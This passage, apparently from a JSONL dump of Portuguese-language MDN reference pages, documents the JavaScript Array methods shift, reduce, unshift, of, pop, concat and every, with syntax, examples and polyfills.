`Array`\n* `Array.prototype.map()`\n* `TypedArray.from()` (en-US)"}
{"title":"Array.prototype.shift() - JavaScript","text":"Array.prototype.shift()\n=======================\n\nSumário\n-------\n\nO método **`shift()`** remove o **primeiro** elemento de um array e retorna esse elemento. Este método muda o tamanho do array.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\narr.shift()\n```\n\n### Valor de retorno\n\nO elemento removido do array; `undefined` se o array estiver vazio.\n\nDescrição\n---------\n\nO método shift remove o elemento de índice zero, diminui em 1 os indices dos demais valores e retorna o valor removido. Se a propriedade `length` for 0, então `undefined` é retornado.\n\n`shift` é intencionalmente genérico; esse método pode ser chamado ou aplicado para objetos parecidos com arrays. Objetos que não contém a propriedade `length` representando o tamanho de uma série consecutiva, começando em zero, podem não se comportar de maneira correta.\n\nExemplos\n--------\n\n### Removendo um elemento de array\n\nO código a seguir mostra o array `minhaLista` antes e depois de remover seu primeiro elemento. Ele também mostra o elemento removido.\n\n\n```js\nvar minhaLista = [\"anjo\", \"casa\", \"mandarim\", \"medico\"];\n\nconsole.log(\"minhaLista antes: \" + minhaLista);\n// minhaList antes: ['anjo', 'casa', 'mandarim', 'medico']\nvar shifted = minhaLista.shift();\n\nconsole.log(\"minhaLista depois: \" + minhaLista);\n// minhaList depois: ['casa', 'mandarim', 'medico']\nconsole.log(\"Elemento removido: \" + shifted);\n// Elemento removido: anjo\n```\n\n### Usando o método shift() dentro de um loop de while\n\nO médodo `shift()` é frequentemente usado como condição dentro de um loop de while. No exemplo a seguir, cada iteração removerá o elemento seguinte do array, até que ele esteja vazio:\n\n\n```js\nvar nomes = [\"André\", \"Eduardo\", \"Paulo\", \"Cris\", \"João\"];\nwhile ((i = nomes.shift()) !== undefined) {\n  console.log(i);\n}\n// André Eduardo Paulo Cris João\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-array.prototype.shift |\n\nCompatibilidade de Browser\n--------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Array.prototype.push()`\n* `Array.prototype.pop()`\n* `Array.prototype.unshift()`\n* `Array.prototype.concat()`"}
{"title":"Array.prototype.reduce() - JavaScript","text":"Array.prototype.reduce()\n========================\n\nO método **`reduce()`** executa uma função **reducer** (fornecida por você) para cada elemento do array, resultando num único valor de retorno.\n\nExperimente\n-----------\n\nA função **reducer** recebe quatro parâmetros:\n\n1. Acumulador (`acc`)\n2. Valor Atual (`cur`)\n3. Index Atual (`idx`)\n4. Array original (`src`)\n\nO valor de retorno da sua função **reducer** é atribuída ao acumulador. O acumulador, com seu valor atualizado, é repassado para cada iteração subsequente pelo array, que por fim, se tornará o valor resultante, único, final.\n\nSintaxe\n-------\n\n\n```js\narray.reduce(callback( acumulador, valorAtual[, index[, array]] )[, valorInicial])\n```\n\n### Parâmetros\n\n`callback`\n\nFunção que é executada em cada valor no array (exceto no primeiro, se nenhum `valorInicial` for passado); recebe quatro argumentos:\n\n`acumulador`\n\nÉ o valor inicial (ou o valor do callback anterior). Este valor inicia com o `valorInicial` e será retornado na última iteração.\n\n`valorAtual`\n\nOpcional. O índice do elemento atual que está sendo processado no array. Começa a partir do index `0` se um `valorInicial` for fornecido. Do contrário, começa do index `1`.\n\n`valorInicial`\n\nOpcional. Valor a ser usado como o primeiro argumento da primeira chamada da função `callback`. Se nenhum `valorInicial` é fornecido, o primeiro elemento do array será usado como o valor inicial do `acumulador` e o `valorAtual` não será lido. Chamar `reduce()` em uma array vazia sem valor inicial retornará um erro.\n\n### Valor retornado\n\nO valor que resulta da execução da função de callback do \"reducer\" até a conclusão de todo o array.\n\nDescrição\n---------\n\nO método `reduce()` executa a função de `callback` uma vez para cada elemento presente no array, excluindo furos (valores indefinidos), recebendo quatro argumentos:\n\n1. *acumulador* - valor inicial (ou o valor do callback anterior),\n2. *valorAtual* - o valor do elemento atual\n3. *index* - o índice atual e\n4. `array` - o array onde a iteração está ocorrendo.\n\nA primeira vez que o callback é chamado, o `acumulador` e o `valorAtual` podem ter um de dois valores possíveis. Se o `valorInicial` tiver sido fornecido na chamada à função `reduce()`, então o `acumulador` será igual ao `valorInicial` e o `valorAtual` será igual ao primeiro valor no array. Caso nenhum `valorInicial` seja fornecido, `acumulador` será igual ao primeiro valor no array, e `valorAtual` será igual ao segundo.\n\n**Nota:** Se o `valorInicial` não tiver sido passado como argumento, então reduce() executará o callback da função começando a partir do índice 1 (index 1), pulando o primeiro índice (`index 0`). Se o `valorInicial` for passado como argumento, a função irá começar no index 0.\n\nSe a array estiver vazia e o `valorInicial` não tiver sido informado, uma exceção do tipo `TypeError` será lançada.\n\nSe a array possuir somente um elemento (independente da posição) e o `valorInicial` não tiver sido fornecido, ou se `valorInicial` for fornecido, mas a array estiver vazia, o valor será retornado sem que a função de `callback` seja chamada.\n\nÉ mais seguro prover um `valorInicial`, porque existem até *quatro* possíveis saídas sem o `valorInicial`, como mostrado no exemplo:\n\n\n```js\nvar maxCallback = (acc, cur) => Math.max(acc.x, cur.x);\nvar maxCallback2 = (max, cur) => Math.max(max, cur);\n\n// reduce() sem valores iniciais\n[{ x: 22 }, { x: 42 }].reduce(maxCallback); // 42\n[{ x: 22 }].reduce(maxCallback); // { x: 22 }\n[].reduce(maxCallback); // TypeError\n\n// map/reduce; melhor solução, funciona para vetores vazios e tambem para vetores grandes\n[{ x: 22 }, { x: 42 }].map((el) => el.x).reduce(maxCallback2, -Infinity);\n```\n\n### Como funciona o reduce()\n\nSuponha que o seguinte uso de reduce() tenha ocorrido:\n\n\n```js\n[0, 1, 2, 3, 4].reduce(function (acumulador, valorAtual, index, array) {\n  return acumulador + valorAtual;\n});\n// 10\n```\n\n\nO callback será invocado quatro vezes, com os argumentos e valores em cada chamada sendo:\n\n|  | `acumulador` | valorAtual | index | `array` | **valor de retorno** |\n| --- | --- | --- | --- | --- | --- |\n| primeira chamada | `0` | `1` | `1` | `[0, 1, 2, 3, 4]` | `1` |\n| segunda chamada | `1` | `2` | `2` | `[0, 1, 2, 3, 4]` | `3` |\n| terceira chamada | `3` | `3` | `3` | `[0, 1, 2, 3, 4]` | `6` |\n| quarta chamada | `6` | `4` | `4` | `[0, 1, 2, 3, 4]` | `10` |\n\nO valor retornado pelo `reduce` será o da última chamada à callback `(10)`.\n\nVocê também pode usar uma Arrow Function em vez de uma função completa. O código abaixo produz a mesma saída que o código do bloco acima:\n\n\n```js\n[0, 1, 2, 3, 4].reduce((accum, curr) => accum + curr);\n```\n\n\nSe você informar um `valorInicial` como o segundo argumento de reduce, o resultado será:\n\n\n```js\n[0, 1, 2, 3, 4].reduce(function (acumulador, valorAtual, indice, array) {\n  return acumulador + valorAtual;\n}, 10);\n\n// 20\n```\n\n\n| `callback` | `acumulador` | `valorAtual` | `index` | `array` | `valor de retorno` |\n| --- | --- | --- | --- | --- | --- |\n| primeira chamada | `10` | `0` | `0` | `[0, 1, 2, 3, 4]` | `10` |\n| segunda chamada | `10` | `1` | `1` | `[0, 1, 2, 3, 4]` | `11` |\n| terceira chamada | `11` | `2` | `2` | `[0, 1, 2, 3, 4]` | `13` |\n| quarta chamada | `13` | `3` | `3` | `[0, 1, 2, 3, 4]` | `16` |\n| quinta chamada | `16` | `4` | `4` | `[0, 1, 2, 3, 4]` | `20` |\n\nO retorno da última chamada `20`,é retornado como resultado da função `reduce()`.\n\nExemplos\n--------\n\n### Soma todos os valores de uma array\n\n\n```js\nlet total = [0, 1, 2, 3].reduce(function (acumulador, valorAtual) {\n  return acumulador + valorAtual;\n}, 0);\n// retorna 6\n```\n\n\noutra alternativa é usar uma arrow function:\n\n\n```js\nvar total = [0, 1, 2, 3].reduce(\n  (acumulador, valorAtual) => acumulador + valorAtual,\n  0,\n);\n```\n\n### Soma de valores de um objeto de um array\n\nPara resumir os valores contidos em um array, você **deve** fornecer um `valorInicial`, para que cada item passe por sua função.\n\n\n```js\nvar valorInicial = 0;\nvar soma = [{ x: 1 }, { x: 2 }, { x: 3 }].reduce(function (\n  acumulador,\n valorAtual,\n) {\n  return acumulador + valorAtual.x;\n}, valorInicial);\n\nconsole.log(soma); // retorna 6\n```\n\n\nUtilizando uma arrow function:\n\n\n```js\nvar valorInicial = 0;\nvar soma = [{ x: 1 }, { x: 2 }, { x: 3 }].reduce(\n  (acumulador, valorAtual) => acumulador + valorAtual.x,\n  valorInicial,\n);\n\nconsole.log(soma); // retorna 6\n```\n\n### Redução de um array de arrays\n\n\n```js\nlet reduzido = [\n  [0, 1],\n  [2, 3],\n  [4, 5],\n].reduce(function (acumulador, valorAtual) {\n  return acumulador.concat(valorAtual);\n}, []);\n// reduzido é [0, 1, 2, 3, 4, 5]\n```\n\n\nUtilizando uma arrow function:\n\n\n```js\nlet reduzido = [\n  [0, 1],\n  [2, 3],\n  [4, 5],\n].reduce((acumulador, valorAtual) => acumulador.concat(valorAtual), []);\n```\n\n### Contando valores iguais em um objeto\n\n\n```js\nlet nomes = [\"Alice\", \"Bob\", \"Tiff\", \"Bruce\", \"Alice\"];\n\nlet quantidadeNomes = nomes.reduce(function (todosNomes, nome) {\n  if (nome in todosNomes) {\n    todosNomes[nome]++;\n  } else {\n    todosNomes[nome] = 1;\n  }\n  return todosNomes;\n}, {});\n// quantidade de nomes:\n// { 'Alice': 2, 'Bob': 1, 'Tiff': 1, 'Bruce': 1 }\n```\n\n### Agrupando objetos por uma propriedade\n\n\n```js\nlet pessoas = [\n  { nome: \"Alice\", idade: 21 },\n  { nome: \"Max\", idade: 20 },\n  { nome: \"Jane\", idade: 20 },\n];\n\nfunction agruparPor(objetoArray, propriedade) {\n  return objetoArray.reduce(function (acc, obj) {\n    let key = obj[propriedade];\n    if (!acc[key]) {\n      acc[key] = [];\n    }\n    acc[key].push(obj);\n    return acc;\n  }, {});\n}\n\nlet grupodePessoas = agruparPor(pessoas, \"idade\");\n// grupodePessoas é:\n// {\n// 20: [\n// { nome: 'Max', idade: 20 },\n// { nome: 'Jane', idade: 20 }\n// ],\n// 21: [{ nome: 'Alice', idade: 21 }]\n// }\n```\n\n### Juntando arrays contidos num array de objetos usando o operador spread e o `valorInicial`\n\n\n```js\n// friends - um array de objetos\n// onde o campo \"books\" é a lista de livros favoritos\nvar friends = [\n  {\n    name: \"Anna\",\n    books: [\"Bible\", \"Harry Potter\"],\n    age: 21,\n  },\n  {\n    name: \"Bob\",\n    books: [\"War and peace\", \"Romeo and Juliet\"],\n    age: 26,\n  },\n  {\n    name: \"Alice\",\n    books: [\"The Lord of the Rings\", \"The Shining\"],\n    age: 18,\n  },\n];\n\n// allbooks - lista que contém todos os livros de friends +\n// lista adicional contida em valorInicial\nvar allbooks = friends.reduce(\n  function (prev, curr) {\n    return [...prev, ...curr.books];\n  },\n  [\"Alphabet\"],\n);\n\n// allbooks = [\n// 'Alphabet', 'Bible', 'Harry Potter', 'War and peace',\n// 'Romeo and Juliet', 'The Lord of the Rings',\n// 'The Shining'\n// ]\n```\n\n### Removendo itens duplicados num array\n\n**Nota:** Se você estiver usando um ambiente compatível com `Set` and `Array.from()`, você pode usar `let orderedArray = Array.from(new Set(myArray))` para obter um array em que os itens duplicados tenham sido removidos.\n\n\n```js\nlet arr = [1, 2, 1, 2, 3, 5, 4, 5, 3, 4, 4, 4, 4];\nlet result = arr.sort().reduce((init, current) => {\n  if (init.length === 0 || init[init.length - 1] !== current) {\n    init.push(current);\n  }\n  return init;\n}, []);\nconsole.log(result); //[1,2,3,4,5]\n```\n\n### Substituindo .filter().map() por .reduce()\n\nUsar `Array.filter()` seguido por `Array.map()` faz com que o array seja percorrido duas vezes. Você pode obter o mesmo resultado percorrendo o array apenas uma vez com `Array.reduce()`, o que é, portanto, mais eficiente. (Se você gosta de for loops, você pode usar filter e map percorrendo o array apenas uma vez com `Array.forEach()`).\n\n\n```js\nconst numbers = [-5, 6, 2, 0];\n\nconst doubledPositiveNumbers = numbers.reduce((accumulator, currentValue) => {\n  if (currentValue > 0) {\n    const doubled = currentValue \\* 2;\n    accumulator.push(doubled);\n  }\n  return accumulator;\n}, []);\n\nconsole.log(doubledPositiveNumbers); // [12, 4]\n```\n\n### Rodando promises em sequência\n\n\n```js\n/\\*\\*\n \\* Roda promises de um promise array de uma maneira encadeada\n \\*\n \\* @param {array} arr - promise arr\n \\* @return {Object} promise object\n \\*/\nfunction runPromiseInSequense(arr) {\n  return arr.reduce((promiseChain, currentPromise) => {\n    return promiseChain.then((chainedResult) => {\n      return currentPromise(chainedResult).then((res) => res);\n    });\n  }, Promise.resolve());\n}\n\n// promise function 1\nfunction p1() {\n  return new Promise((resolve, reject) => {\n    resolve(5);\n  });\n}\n\n// promise function 2\nfunction p2(a) {\n  return new Promise((resolve, reject) => {\n    resolve(a \\* 2);\n  });\n}\n\n// promise function 3\nfunction p3(a) {\n  return new Promise((resolve, reject) => {\n    resolve(a \\* 3);\n  });\n}\n\nconst promiseArr = [p1, p2, p3];\nrunPromiseInSequense(promiseArr).then((res) => {\n  console.log(res); // 30\n});\n```\n\n### Escrever map usando reduce\n\n\n```js\nif (!Array.prototype.mapUsingReduce) {\n  Array.prototype.mapUsingReduce = function (callback, thisArg) {\n    return this.reduce(function (mappedArray, currentValue, index, array) {\n      mappedArray[index] = callback.call(thisArg, currentValue, index, array);\n      return mappedArray;\n    }, []);\n  };\n}\n\n[1, 2, , 3].mapUsingReduce(\n  (currentValue, index, array) => currentValue + index + array.length,\n); // [5, 7, , 10]\n```\n\nPolyfill\n--------\n\n`Array.prototype.reduce` foi adicionado ao padrão ECMA-262 na quinta edição; e portanto, pode não estar presente em todas as implementações do padrão. Você pode contornar isso inserindo o código a seguir no início de seus scripts, permitindo o uso do `reduce()` em implementações que não possuem suporte nativo a ele.\n\n\n```js\n// Etapas de produção para o ECMA-262, Edition 5, 15.4.4.21\n// Referencia: http://es5.github.io/#x15.4.4.21\nif (!Array.prototype.reduce) {\n  Array.prototype.reduce = function (callback /\\*, valorInicial\\*/) {\n    \"use strict\";\n    if (this == null) {\n      throw new TypeError(\n        \"Array.prototype.reduce chamado é nulo (null) ou indefinido (undefined)\",\n      );\n    }\n    if (typeof callback !== \"function\") {\n      throw new TypeError(callback + \" não é uma função\");\n    }\n    var t = Object(this),\n      len = t.length >>> 0,\n      k = 0,\n      value;\n    if (arguments.length == 2) {\n      value = arguments[1];\n    } else {\n      while (k < len && !(k in t)) {\n        k++;\n      }\n      if (k >= len) {\n        throw new TypeError(\n          \"Reduce possui um array vazio sem um valor inicial\",\n        );\n      }\n      value = t[k++];\n    }\n    for (; k < len; k++) {\n      if (k in t) {\n        value = callback(value, t[k], k, t);\n      }\n    }\n    return value;\n  };\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-array.prototype.reduce |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nLeia também\n-----------\n\n* `Array.prototype.reduceRight()`"}
{"title":"Array.prototype.unshift() - JavaScript","text":"Array.prototype.unshift()\n=========================\n\nIntrodução\n----------\n\nO método **`unshift()`** adiciona um ou mais elementos no início de um array e retorna o número de elementos (propriedade `length`) atualizado.\n\nSintaxe\n-------\n```\n\narr.unshift([element1[, ...[, elementN]]])\n```\n\n### Parâmetros\n\n`elementN`\n\nOs elementos a serem adicionados no começo do array.\n\n### Retorna\n\nA nova propriedade `length` do objeto acima onde o método foi chamado.\n\nDescrição\n---------\n\nO método `unshift` insere os valores fornecidos no início de um objeto do tipo array.\n\n`unshift` é intencionalmente genérico; este método pode ser chamado via call ou apply em objetos que se assemelham aos arrays. Objetos que não contêm uma propriedade `length` que reflete a última de uma série consecutiva de propriedades numéricas, iniciada por 0, podem não comportar-se de maneira significativa.\n\nExemplos\n--------\n\n\n```js\nvar arr = [1, 2];\n\narr.unshift(0); // result of call is 3, the new array length\n// arr is [0, 1, 2]\n\narr.unshift(-2, -1); // = 5\n// arr is [-2, -1, 0, 1, 2]\n\narr.unshift([-3]);\n// arr is [[-3], -2, -1, 0, 1, 2]\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-array.prototype.unshift |\n\nCompatibilidade entre browsers\n------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Array.prototype.push()`\n* `Array.prototype.pop()`\n* `Array.prototype.shift()`"}
{"title":"Array.of() - JavaScript","text":"Array.of()\n==========\n\nO método **`Array.of()`** cria um nova instância de `Array` com um número variável de argumentos, independentemente do número ou do tipo dos argumentos.\n\nA diferença entre o **`Array.of()`** e o construtor de **`Array`** é no tratamento dos argumentos inteiros: **`Array.of(7)`** cria um array com um único elemento, `7`, enquanto **`Array(7)`** cria um array vazio de propriedade `length` igual a `7` (**Nota**: isso quer dizer um array com `7` espaços vazios, e não com valores do tipo `undefined`).\n```\n\nArray.of(7);       // [7]\nArray.of(1, 2, 3); // [1, 2, 3]\n\nArray(7);          // array com 7 espaços vazios\nArray(1, 2, 3);    // [1, 2, 3]\n```\n\nSyntaxe\n-------\n```\n\nArray.of(element0[, element1[, ...[, elementN]]])\n```\n\n### Parâmetros\n\n`elementN`\n\nElementos usados para criar o `array`.\n\n### Valor de retorno\n\nUma nova instância de `Array`.\n\nDescrição\n---------\n\nEsta função é parte do padrão ECMAScript 6 (ou ECMAScript 2015).\n\nPara maiores informações veja:\n\n* `Array.of`\n* `Array.from` proposal\n* `Array.of` polyfill.\nExemplos\n--------\n\n\n```js\nArray.of(1); // [1]\nArray.of(1, 2, 3); // [1, 2, 3]\nArray.of(undefined); // [undefined]\n```\n\nPolyfill\n--------\n\nExecutando o seguinte código antes de qualquer outro c[odigo criará o `Array.of()` se ele não for disponível nativamente.\n\n\n```js\nif (!Array.of) {\n  Array.of = function () {\n    return Array.prototype.slice.call(arguments);\n    // Or\n    let vals = [];\n    for (let prop in arguments) {\n      vals.push(arguments[prop]);\n    }\n    return vals;\n  };\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-array.of |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* `Array`\n* `Array.from()`\n* `TypedArray.of()` (en-US)"}
{"title":"Array.prototype.pop() - JavaScript","text":"Array.prototype.pop()\n=====================\n\nResumo\n------\n\nO método **`pop()`** remove o **último** elemento de um array e retorna aquele elemento.\n\nSintaxe\n-------\n```\n\narr.pop()\n```\n\nDescrição\n---------\n\nO método `pop` remove o último elemento de um array e retorna aquele valor.\n\nEsse método é intencionalmente genérico. Podendo ser utilizado por call ou apply em objetos que implementam arrays.\n\nSe você chamar `pop()` em um array vazio, ele retorna o valor `undefined`.\n\nExemplos\n--------\n\n### Exemplo: Removendo o último elemento de um array\n\nO código seguinte cria o array `meuPeixe` contendo quatro elementos e então remove seu último elemento.\n\n\n```js\nvar meuPeixe = [\"acara-bandeira\", \"palhaco\", \"mandarim\", \"esturjao\"];\n\nconsole.log(meuPeixe); // ['acara-bandeira', 'palhaco', 'mandarim', 'esturjao']\n\nvar meuPeixePop = meuPeixe.pop();\n\nconsole.log(meuPeixe); // ['acara-bandeira', 'palhaco', 'mandarim' ]\n\nconsole.log(meuPeixePop); // 'esturjao'\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-array.prototype.pop |\n\nCompatibilidade nos Navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Array.prototype.push()`\n* `Array.prototype.shift()`\n* `Array.prototype.unshift()`"}
{"title":"Array.prototype.concat() - JavaScript","text":"Array.prototype.concat()\n========================\n\n O método **`concat()`** é utilizado para mesclar dois ou mais arrays.\n Esse método não altera os arrays existentes, mas, em vez disso, retorna um novo array.\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n\n```js\nconcat()\nconcat(valor0)\nconcat(valor0, valor1)\nconcat(valor1, valor2, /\\*...,\\*/ valorN)\n```\n\n### Parâmetros\n\n`valorN` Optional\n\n Arrays e/ou valores para concatenar em um novo array. Se todos\n os parâmetros `valorN` forem omitidos, `concat` retorna uma\n shallow copy (en-US) de todos os arrays existentes do qual é chamado. Veja a descrição abaixo\n para mais detalhes.\n\n\n### Valor de retorno\n\nUma nova instância `Array`.\n\nDescrição\n---------\n\nO método `concat` cria um novo array. O array irá primeiro ser preenchido pelos elementos no objeto no qual é chamado. Então, para cada argumento, seu valor será concatenado no array — para objetos normais ou primitivos, o próprio argumento se tornará um elemento do array final; para arrays ou objetos tipo array com a propriedade `Symbol.isConcatSpreadable` definida como um valor verdadeiro, cada elemento do argumento será adicionado independentemente ao array final. O método `concat` não recursa em argumentos de array aninhados.\n\nO método `concat()` é um copying method. Ele não altera `this` ou quaquer um dos arrays fornecidos como argumentos, mas, em vez disso retorna uma shallow copy (en-US) que contém os mesmos elementos dos arrays originais.\n\nO método `concat()` preserva slots vazios se qualquer um dos arrays de origem for sparse.\n\nO método `concat()` é genérico. O valor `this` é tratado da mesma forma como os outros argumentos (exceto que será convertido em um objeto primeiro), o que significa que objetos simples serão anexados diretamente ao array resultante, enquanto objetos do tipo array com verdadeiro `@@isConcatSpreadable` serão propagados no array resultante.\n\nExemplos\n--------\n\n### Concatenando dois arrays\n\nO código a seguir concatena dois arrays:\n\n\n```js\nconst letras = [\"a\", \"b\", \"c\"];\nconst numeros = [1, 2, 3];\n\nconst alfaNumerico = letras.concat(numeros);\nconsole.log(alfaNumerico);\n// resulta em ['a', 'b', 'c', 1, 2, 3]\n```\n\n### Concatenando três arrays\n\nO código a seguir concatena três arrays:\n\n\n```js\nconst num1 = [1, 2, 3];\nconst num2 = [4, 5, 6];\nconst num3 = [7, 8, 9];\n\nconst numeros = num1.concat(num2, num3);\n\nconsole.log(numeros);\n// resulta em [1, 2, 3, 4, 5, 6, 7, 8, 9]\n```\n\n### Concatenando valores em um array\n\nO código a seguir concatena três valores em um array:\n\n\n```js\nconst letras = [\"a\", \"b\", \"c\"];\n\nconst alfaNumerico = letras.concat(1, [2, 3]);\n\nconsole.log(alfaNumerico);\n// resulta em ['a', 'b', 'c' , 1, 2, 3]\n```\n\n### Concatenando arrays aninhados\n\nO código a seguir concatena arrays aninhados e demonstra a retenção de referência:\n\n\n```js\nconst num1 = [[1]];\nconst num2 = [2, [3]];\n\nconst numeros = num1.concat(num2);\n\nconsole.log(numeros);\n// resulta em [[1], 2, [3]]\n\n//modifica o primeiro elemento do num1\nnum1[0].push(4);\n\nconsole.log(numeros);\n// resulta em [[1, 4], 2, [3]]\n```\n\n### Concatenanto objetos tipo array com Symbol.isConcatSpreadable\n\n`concat` não trata todos os objetos tipo array como arrays por padrão — somente se `Symbol.isConcatSpreadable` estiver definido como um valor verdadeiro (P.ex. `true`)\n\n\n```js\nconst obj1 = { 0: 1, 1: 2, 2: 3, length: 3 };\nconst obj2 = { 0: 1, 1: 2, 2: 3, length: 3, [Symbol.isConcatSpreadable]: true };\nconsole.log([0].concat(obj1, obj2));\n// resulta em [ 0, { '0': 1, '1': 2, '2': 3, length: 3 }, 1, 2, 3 ]\n```\n\n### Usando concat() em arrays sparse\n\nSe qualquer uma das arrays é sparse, a array resultante será também sparse:\n\n\n```js\nconsole.log([1, , 3].concat([4, 5])); // [1, empty, 3, 4, 5]\nconsole.log([1, 2].concat([3, , 5])); // [1, 2, 3, empty, 5]\n```\n\n### Chamando concat() em objetos não array\n\nSe o valor `this` não for um array, ele será convertido em um objeto e então tratado da mesma forma que os argumentos para `concat()`. Nesse caso o valor de retorno é sempre um novo array simples.\n\n\n```js\nconsole.log(Array.prototype.concat.call({}, 1, 2, 3)); // [{}, 1, 2, 3]\nconsole.log(Array.prototype.concat.call(1, 2, 3)); // [ [Number: 1], 2, 3 ]\nconst arrayLike = { [Symbol.isConcatSpreadable]: true, length: 2, 0: 1, 1: 2 };\nconsole.log(Array.prototype.concat.call(arrayLike, 3, 4)); // [1, 2, 3, 4]\n```\n\nEspecificação\n-------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-array.prototype.concat |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Polyfill of `Array.prototype.concat` in `core-js` with fixes and implementation of modern behavior like `Symbol.isConcatSpreadable` support\n* Indexed collections\n* `Array`\n* `Array.prototype.push()`\n* `Array.prototype.unshift()`\n* `Array.prototype.splice()`\n* `String.prototype.concat()`\n* `Symbol.isConcatSpreadable`"}
{"title":"Array.prototype.every() - JavaScript","text":"Array.prototype.every()\n=======================\n\nO método `every()` testa se todos os elementos do array passam pelo teste implementado pela função fornecida. Este método retorna um valor booleano.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\narr.every(callback[, thisArg])\n```\n\n### Parâmetros\n\n`callback`\n\nFunção que testa cada elemento, recebe três parametros:\n\n`currentValue` (obrigatório)\n\nO elemento atual sendo processado na array.\n\n`index` (opcional)\n\nO índice do elemento atual sendo processado na array.\n\n`array` (opcional)\n\nO array de origem.\n\n\n`thisArg`\n\nOpcional. Valor a ser usado como `this` quando o `callback` é executado.\n\n### Valor de retorno\n\n**true** se a função de callback retorna um valor truthy para cada um dos elementos do array; caso contrário, **false**.\n\nDescrição\n---------\n\nO método `every` executa a função `callback` fornecida uma vez para cada elemento presente no array, até encontrar algum elemento em que a função retorne um valor false (valor que se torna false quando convertido para boolean). Se esse elemento é encontrado, o método `every` imediatamente retorna false. Caso contrário, se a função `callback` retornar true para todos elementos, o método retorna true. A função `callback` é chamada apenas para os elementos do array original que tiverem valores atribuídos; os elementos que tiverem sido removidos ou os que nunca tiveram valores atribuídos não serão considerados.\n\nA função `callback` é chamada com três argumentos: o valor do elemento corrente, o índice do elemento corrente e o array original que está sendo percorrido.\n\nSe o parâmetro `thisArg` foi passado para o método `every`, ele será repassado para a função `callback` no momento da chamada para ser utilizado como o `this`. Caso contrário, o valor `undefined` será repassado para uso como o *`this`*. O valor do `this` a ser repassado para o `callback` é determinado de acordo com as regras usuais para determinar o this visto por uma função.\n\nO método `every`não modifica o array original.\n\nA lista de elementos que serão processados pelo `every` é montada antes da primeira chamada da função `callback`. Se um elemento for acrescentado ao array original após a chamada ao `every` , ele não será visível para o callback. Se os elementos existentes forem modificados, os valores que serão repassados serão os do momento em que o método `every` chamar o `callback`. Elementos removidos não serão considerados.\n\n`every` funciona como o qualificador \"for all\" em matemática. Particularmente, para um vetor vazio, é retornado true. (É verdade por vacuidade que todos os elementos do conjunto vazio satisfazem qualquer condição.)\n\nExemplos\n--------\n\n### Testando tamanho de todos os elementos do vetor\n\nO exemplo a seguir testa se todos elementos no array são maiores que 10.\n\n\n```js\nfunction isBigEnough(element, index, array) {\n  return element >= 10;\n}\n[12, 5, 8, 130, 44].every(isBigEnough); // false\n[12, 54, 18, 130, 44].every(isBigEnough); // true\n```\n\n### Usando arrow functions\n\nArrow functions fornecem sintaxe mais curta para o mesmo teste.\n\n\n```js\n[12, 5, 8, 130, 44].every((elem) => elem >= 10); // false\n[12, 54, 18, 130, 44].every((elem) => elem >= 10); // true\n```\n\nPolyfill\n--------\n\n`every` foi adicionado ao padrão ECMA-262 na 5ª edição; como tal, pode não estar presente em outras implementações do padrão. Você pode contornar isso adicionando o seguinte código no começo dos seus scripts, permitindo o uso de every em implementações que não o suportam nativamente. Esse algoritimo é exatamente o mesmo especificado no ECMA-262, 5ª edição, assumindo que `Object` e `TypeError` tem os seus valores originais e que `callbackfn.call` retorna o valor original de `Function.prototype.call`\n\n\n```js\nif (!Array.prototype.every) {\n  Array.prototype.every = function (callbackfn, thisArg) {\n    \"use strict\";\n    var T, k;\n\n    if (this == null) {\n      throw new TypeError(\"this is null or not defined\");\n    }\n\n    // 1. Let O be the result of calling ToObject passing the this\n    // value as the argument.\n    var O = Object(this);\n\n    // 2. Let lenValue be the result of calling the Get internal method\n    // of O with the argument \"length\".\n    // 3. Let len be ToUint32(lenValue).\n    var len = O.length >>> 0;\n\n    // 4. If IsCallable(callbackfn) is false, throw a TypeError exception.\n    if (typeof callbackfn !== \"function\") {\n      throw new TypeError();\n    }\n\n    // 5. If thisArg was supplied, let T be thisArg; else let T be undefined.\n    if (arguments.length > 1) {\n      T = thisArg;\n    }\n\n    // 6. Let k be 0.\n    k = 0;\n\n    // 7. Repeat, while k < len\n    while (k < len) {\n      var kValue;\n\n      // a. Let Pk be ToString(k).\n      // This is implicit for LHS operands of the in operator\n      // b. Let kPresent be the result of calling the HasProperty internal\n      // method of O with argument Pk.\n      // This step can be combined with c\n      // c. If kPresent is true, then\n      if (k in O) {\n        // i. Let kValue be the result of calling the Get internal method\n        // of O with argument Pk.\n        kValue = O[k];\n\n        // ii. Let testResult be the result of calling the Call internal method\n        // of callbackfn with T as the this value and argument list\n        // containing kValue, k, and O.\n        var testResult = callbackfn.call(T, kValue, k, O);\n\n        // iii. If ToBoolean(testResult) is false, return false.\n        if (!testResult) {\n          return false;\n        }\n      }\n      k++;\n    }\n    return true;\n  };\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-array.prototype.every |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Array.prototype.forEach()`\n* `Array.prototype.some()`\n* `TypedArray.prototype.every()` (en-US)"}
